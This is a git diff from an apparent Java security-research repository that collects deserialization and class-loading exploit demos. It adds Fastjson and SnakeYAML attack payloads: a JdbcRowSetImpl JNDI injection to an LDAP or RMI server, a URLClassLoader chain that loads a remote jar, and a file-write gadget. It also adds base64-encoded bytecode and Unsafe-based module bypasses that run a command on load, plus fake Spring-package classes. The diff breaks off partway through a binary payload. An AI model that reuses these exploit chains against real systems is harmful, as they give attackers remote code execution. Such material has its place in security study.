Serialization/ClassLoad/src/main/java/org/example/URLClassLoaderDemo.java rename to SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/URLClassLoaderDemo.java index ea1d95c..2bb263b 100644 --- a/Serialization/ClassLoad/src/main/java/org/example/URLClassLoaderDemo.java +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/URLClassLoaderDemo.java @@ -1,9 +1,8 @@ -package org.example; +package com.ppp; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; -import java.util.Base64; /** * @author Whoopsunix @@ -27,6 +26,7 @@ public static void main(String[] args) throws Exception { /** * 加载字节码 */ + // open -a Calculator.app String b64Str = "yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY"; byte[] bytes = java.util.Base64.getDecoder().decode(b64Str); diff --git a/Serialization/ClassLoad/src/main/java/org/example/UnsafeDemo.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/UnsafeDemo.java similarity index 98% rename from Serialization/ClassLoad/src/main/java/org/example/UnsafeDemo.java rename to SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/UnsafeDemo.java index 8301686..88f083b 100644 --- a/Serialization/ClassLoad/src/main/java/org/example/UnsafeDemo.java +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/com/ppp/UnsafeDemo.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp; import java.lang.reflect.Constructor; diff --git a/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/org/springframework/expression/Test.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/org/springframework/expression/Test.java new file mode 100644 index 0000000..6b346ee --- /dev/null +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/org/springframework/expression/Test.java @@ -0,0 +1,14 @@ +package org.springframework.expression; + +/** + * @author Whoopsunix + */ +public class Test { + static { + try { + System.out.println("static Exec"); + Runtime.getRuntime().exec("open -a Calculator.app"); + } catch (Exception e) { + } + } +} diff --git a/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/org/springframework/expression/Test2.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/org/springframework/expression/Test2.java new file mode 100644 index 0000000..64523ec --- /dev/null +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/org/springframework/expression/Test2.java @@ -0,0 +1,14 @@ +package org.springframework.expression; + +/** + * @author Whoopsunix + */ +public class Test2 { + static { + try { + System.out.println("static Exec"); + Runtime.getRuntime().exec("open -a Calculator.app"); + } catch (Exception e) { + } + } +} diff --git a/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/org/springframework/expression/Test3.java b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/org/springframework/expression/Test3.java new file mode 100644 index 0000000..60fa7ed --- /dev/null +++ b/SecVulns/VulnCore/Serialization/ClassLoad/src/main/java/org/springframework/expression/Test3.java @@ -0,0 +1,49 @@ +package org.springframework.expression; + +import sun.misc.Unsafe; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author Whoopsunix + */ +public class Test3 { + public Test3() { + // Runtime.getRuntime().exec("open -a Calculator.app"); + // 反射调用 + try { + Class cls = Class.forName("java.lang.Runtime"); + Method method = cls.getDeclaredMethod("getRuntime"); + Object obj = method.invoke(null); + method = cls.getDeclaredMethod("exec", String.class); + method.invoke(obj, "open -a Calculator.app"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + static { + addModule(); + new Test3(); + } + + public static void addModule() { + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) unsafeField.get(null); + Method method = Class.class.getDeclaredMethod("getModule"); + method.setAccessible(true); + Object module = method.invoke(Object.class); + Class cls = Test3.class; + long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); + Method getAndSetObjectMethod = unsafeClass.getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectMethod.setAccessible(true); + getAndSetObjectMethod.invoke(unsafe, cls, offset, module); + } catch (Exception e) { + + } + } +} diff --git a/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/pom.xml b/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/pom.xml new file mode 100644 index 0000000..1b47462 --- /dev/null +++ b/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/pom.xml @@ -0,0 +1,36 @@ + + 4.0.0 + + com.ppp + ClassLoaderJdk17 + 1.0 + jar + + ClassLoaderJdk17 + + + UTF-8 + + + + + + org.springframework + spring-expression + 4.3.16.RELEASE + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 9 + 9 + + + + + diff --git a/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/src/main/java/com/ppp/MethodHandlesClassLoader.java b/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/src/main/java/com/ppp/MethodHandlesClassLoader.java new file mode 100644 index 0000000..0a7cca5 --- /dev/null +++ b/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/src/main/java/com/ppp/MethodHandlesClassLoader.java @@ -0,0 +1,27 @@ +package com.ppp; + +import java.lang.invoke.MethodHandles; +import java.lang.reflect.Method; +import java.util.Base64; + +/** + * @author Whoopsunix + */ +public class MethodHandlesClassLoader { + + public static void main(String[] args) throws Throwable { + // 相同包名 + Method privateLookupInMethod = MethodHandles.class.getMethod("privateLookupIn", Class.class, MethodHandles.Lookup.class); + Method lookupDefineClassMethod = MethodHandles.Lookup.class.getMethod("defineClass", byte[].class); + byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY="); + MethodHandles.Lookup lookup = (MethodHandles.Lookup) privateLookupInMethod.invoke(null, Class.forName("org.springframework.expression.ExpressionParser"), MethodHandles.lookup()); + Class c = (Class) lookupDefineClassMethod.invoke(lookup, bytecode); + c.getDeclaredConstructor().newInstance(); + + + // todo 不同包名 +// byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY"); +// // makeHiddenClassDefiner +// Method privateLookupInMethod = MethodHandles.class.getMethod("privateLookupIn", Class.class, MethodHandles.Lookup.class); + } +} diff --git a/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/src/main/java/com/ppp/Normal.java b/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/src/main/java/com/ppp/Normal.java new file mode 100644 index 0000000..f67384f --- /dev/null +++ b/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/src/main/java/com/ppp/Normal.java @@ -0,0 +1,17 @@ +package com.ppp; + +import java.lang.reflect.Method; +import java.util.Base64; + +/** + * @author Whoopsunix + */ +public class Normal { + public static void main(String[] args) throws Exception { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY="); + Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); + clazz.newInstance(); + } +} diff --git a/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/src/main/java/com/ppp/UnsafeDemo.java b/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/src/main/java/com/ppp/UnsafeDemo.java new file mode 100644 index 0000000..5f67945 --- /dev/null +++ b/SecVulns/VulnCore/Serialization/ClassLoaderJdk17/src/main/java/com/ppp/UnsafeDemo.java @@ -0,0 +1,60 @@ +package com.ppp; + + +import sun.misc.Unsafe; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Base64; + +/** + * @author Whoopsunix + */ +public class UnsafeDemo { + public static void main(String[] args) throws Exception { + test1(); + + System.out.println(1); + } + + public static void test1() throws Exception { + addModule(); + + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY="); + Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); + clazz.newInstance(); + } + + public static void addModule() throws Exception{ +// Class unsafeClass = Class.forName("sun.misc.Unsafe"); +// Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); +// unsafeField.setAccessible(true); +// Unsafe unsafe = (Unsafe) unsafeField.get(null); +// +// Module module = Object.class.getModule(); +// Class cls = UnsafeDemo.class; +// long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); +// +// unsafe.getAndSetObject(cls, offset, module); +// // unsafe.putObject(cls, offset, module); + + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) unsafeField.get(null); + Method method = Class.class.getDeclaredMethod("getModule"); + method.setAccessible(true); + Object module = method.invoke(Object.class); + Class cls = UnsafeDemo.class; + long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); + Method getAndSetObjectMethod = unsafeClass.getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectMethod.setAccessible(true); + getAndSetObjectMethod.invoke(unsafe, cls, offset, module); + } catch (Exception e) { + + } + } +} diff --git a/Serialization/ConstructorEXP/pom.xml b/SecVulns/VulnCore/Serialization/ConstructorEXP/pom.xml similarity index 90% rename from Serialization/ConstructorEXP/pom.xml rename to SecVulns/VulnCore/Serialization/ConstructorEXP/pom.xml index 005ad09..2fb351d 100644 --- a/Serialization/ConstructorEXP/pom.xml +++ b/SecVulns/VulnCore/Serialization/ConstructorEXP/pom.xml @@ -2,9 +2,9 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - org.example + com.ppp ConstructorEXP - 1.0-SNAPSHOT + 1.0 jar ConstructorEXP diff --git a/Serialization/ConstructorEXP/src/main/java/org/example/XmlDemo.java b/SecVulns/VulnCore/Serialization/ConstructorEXP/src/main/java/com/ppp/XmlDemo.java similarity index 95% rename from Serialization/ConstructorEXP/src/main/java/org/example/XmlDemo.java rename to SecVulns/VulnCore/Serialization/ConstructorEXP/src/main/java/com/ppp/XmlDemo.java index fdb0e65..791e9f2 100644 --- a/Serialization/ConstructorEXP/src/main/java/org/example/XmlDemo.java +++ b/SecVulns/VulnCore/Serialization/ConstructorEXP/src/main/java/com/ppp/XmlDemo.java @@ -1,4 +1,4 @@ -package org.example; +package com.ppp; import java.lang.reflect.Constructor; @@ -10,7 +10,7 @@ public class XmlDemo { public static void main(String[] args) throws Exception{ - resourcePropertySourceDemo(); + classPathXmlApplicationContextDemo(); } /** diff --git a/Serialization/ConstructorEXP/src/main/java/org/example/poc.xml b/SecVulns/VulnCore/Serialization/ConstructorEXP/src/main/java/com/ppp/poc.xml similarity index 100% rename from Serialization/ConstructorEXP/src/main/java/org/example/poc.xml rename to SecVulns/VulnCore/Serialization/ConstructorEXP/src/main/java/com/ppp/poc.xml diff --git a/SecVulns/VulnCore/Serialization/FastjsonDemo/pom.xml b/SecVulns/VulnCore/Serialization/FastjsonDemo/pom.xml new file mode 100644 index 0000000..d0c8820 --- /dev/null +++ b/SecVulns/VulnCore/Serialization/FastjsonDemo/pom.xml @@ -0,0 +1,23 @@ + + 4.0.0 + + com.ppp + FastjsonDemo + 1.0 + jar + + FastjsonDemo + + + UTF-8 + + + + + com.alibaba + fastjson + 1.2.47 + + + diff --git a/SecVulns/VulnCore/Serialization/FastjsonDemo/src/main/java/com/ppp/FastjsonAttack.java b/SecVulns/VulnCore/Serialization/FastjsonDemo/src/main/java/com/ppp/FastjsonAttack.java new file mode 100644 index 0000000..90ddd44 --- /dev/null +++ b/SecVulns/VulnCore/Serialization/FastjsonDemo/src/main/java/com/ppp/FastjsonAttack.java @@ -0,0 +1,30 @@ +package com.ppp; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; + +/** + * @author Whoopsunix + */ +public class FastjsonAttack { + + public static void main(String[] args) { + String json = "{\n" + + " \"a\":{\n" + + " \"@type\":\"java.lang.Class\",\n" + + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + + " },\n" + + " \"b\":{\n" + + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + + " \"dataSourceName\":\"ldap://127.0.0.1:1389/0mghfs\",\n" + + " \"autoCommit\":true\n" + + " }\n" + + "}"; + parseObject(json); + } + + public static Object parseObject(String json){ + JSONObject jsonObject = JSON.parseObject(json); + return jsonObject; + } +} diff --git a/SecVulns/VulnCore/Serialization/SnakeyamlDemo/pom.xml b/SecVulns/VulnCore/Serialization/SnakeyamlDemo/pom.xml new file mode 100644 index 0000000..f2b3b9a --- /dev/null +++ b/SecVulns/VulnCore/Serialization/SnakeyamlDemo/pom.xml @@ -0,0 +1,54 @@ + + 4.0.0 + + com.ppp + SnakeyamlDemo + 1.0 + jar + + SnakeyamlDemo + + + UTF-8 + + + + + org.yaml + snakeyaml + 1.33 + + + com.mchange + c3p0 + 0.9.5.5 + + + com.alibaba + fastjson + 1.2.47 + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 6 + 6 + + + + + + src/main/resources + true + + META-INF/** + + + + + diff --git a/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/java/com/ppp/Exec.java b/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/java/com/ppp/Exec.java new file mode 100644 index 0000000..79ac754 --- /dev/null +++ b/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/java/com/ppp/Exec.java @@ -0,0 +1,78 @@ +package com.ppp; + +import javax.script.ScriptEngine; +import javax.script.ScriptEngineFactory; +import java.util.List; + +/** + * @author Whoopsunix + */ +public class Exec implements ScriptEngineFactory { + public Exec() { + try { + System.out.println("Exec"); + Runtime.getRuntime().exec("open -a Calculator.app"); + } catch (Exception e) { + } + } + + @Override + public String getEngineName() { + return null; + } + + @Override + public String getEngineVersion() { + return null; + } + + @Override + public List getExtensions() { + return null; + } + + @Override + public List getMimeTypes() { + return null; + } + + @Override + public List getNames() { + return null; + } + + @Override + public String getLanguageName() { + return null; + } + + @Override + public String getLanguageVersion() { + return null; + } + + @Override + public Object getParameter(String key) { + return null; + } + + @Override + public String getMethodCallSyntax(String obj, String m, String... args) { + return null; + } + + @Override + public String getOutputStatement(String toDisplay) { + return null; + } + + @Override + public String getProgram(String... statements) { + return null; + } + + @Override + public ScriptEngine getScriptEngine() { + return null; + } +} diff --git a/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/java/com/ppp/SnakeyamlAttack.java b/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/java/com/ppp/SnakeyamlAttack.java new file mode 100644 index 0000000..5fbda27 --- /dev/null +++ b/SecVulns/VulnCore/Serialization/SnakeyamlDemo/src/main/java/com/ppp/SnakeyamlAttack.java @@ -0,0 +1,54 @@ +package com.ppp; + +import org.yaml.snakeyaml.Yaml; + +/** + * @author Whoopsunix + */ +public class SnakeyamlAttack { + public static void main(String[] args) { + String jar = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"http://127.0.0.1:1234/SnakeyamlDemo-1.0.jar\"]\n" + + " ]]\n" + + "]"; + + + + String jndi = "!!com.sun.rowset.JdbcRowSetImpl\n" + + "dataSourceName: rmi://127.0.0.1:1099/rw35lr\n" + + "autoCommit: true"; + + + String fileWrite = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"/tmp/test.jar\"],false],!!java.util.zip.Inflater { input: !!binary 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